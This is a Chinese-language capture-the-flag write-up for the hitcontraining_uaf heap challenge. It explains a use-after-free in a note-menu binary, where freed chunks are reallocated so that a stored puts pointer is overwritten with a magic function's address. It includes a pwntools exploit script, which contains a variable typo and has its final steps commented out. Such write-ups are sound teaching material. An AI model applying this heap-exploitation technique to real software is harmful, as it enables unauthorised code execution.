【pwn】hitcontraining_uaf --堆利用之uaf

先检查程序的保护情况

【pwn】hitcontraining_uaf --堆利用之uaf_第1张图片

32位程序,堆栈不可执行

看ida

【pwn】hitcontraining_uaf --堆利用之uaf_第2张图片

经典的菜单题,根据题目的uaf,判断该题有uaf漏洞,看一下delete函数

【pwn】hitcontraining_uaf --堆利用之uaf_第3张图片

两次free没置空指针,确实存在uaf漏洞,再看一下add函数和print函数

【pwn】hitcontraining_uaf --堆利用之uaf_第4张图片

add函数这里,就是创建了两个堆块,第一个堆块八字节数据中,前四个字节存着puts函数地址,后四个字节存着新建堆块的地址,这个堆块才是我们可以使用和操纵的地方,再来看一下print函数

【pwn】hitcontraining_uaf --堆利用之uaf_第5张图片

print函数这里根据索引用puts函数输入我们写入堆块的内容,由于前面的delete函数中的指针没有置空,即使free掉第一个堆块,通过索引我们还是可以打印第一个堆块的内容

这里的利用思路是先创建出两个堆块,然后再删除这两个堆块

add(16,b'aaaa')

add(16,b'bbbb')

delete(0)

delete(1)

我们debug看一下

【pwn】hitcontraining_uaf --堆利用之uaf_第6张图片

可以发现,实际上是创建了四个堆块,跟上面的分析一样,再来看一下fastbins

【pwn】hitcontraining_uaf --堆利用之uaf_第7张图片

也就是说我们再申请一个0x8大小的堆块的话,其实就是申请了两个0x8的堆块,这个过程为先申请了0x9c03028地址的堆块,然后再申请0x9c03000地址的堆块,写入magic函数地址,会发现,这其实就是哦我们上面第一个堆块存puts函数的地址,现在变成了magic函数地址,那我再print(0)时就会去执行magic函数

magic函数如下:

【pwn】hitcontraining_uaf --堆利用之uaf_第8张图片

完整exp:

from pwn import *

context(os='linux',arch='i386',log_level='debug')

#io=remote("node5.buuoj.cn",27156)

ifo=process("./pwn")

magic_addr=0x8048945

def debug():

    gdb.attach(io)

    pause()

def add(size,content):

    io.recvuntil(b"Your choice :")

    io.sendline(b"1")

    io.recvuntil(b"Note size :")

    io.sendline(str(size))

    io.recvuntil(b"Content :")

    io.sendline(content)

def printt(index):

    io.recvuntil(b"Your choice :")

    io.sendline(b"3")

    io.sendline(str(index))

def delete(index):

    io.recvuntil(b"Your choice :")

    io.sendline(b"2")

    io.recvuntil(b"Index :")

    io.sendline(str(index))

add(16,b'aaaa')

add(16,b'bbbb')

delete(0)

delete(1)

#add(8,p32(magic_addr))

debug()

#printt(0)

#io.interactive()

你可能感兴趣的:(python,开发语言,安全,c语言,网络安全)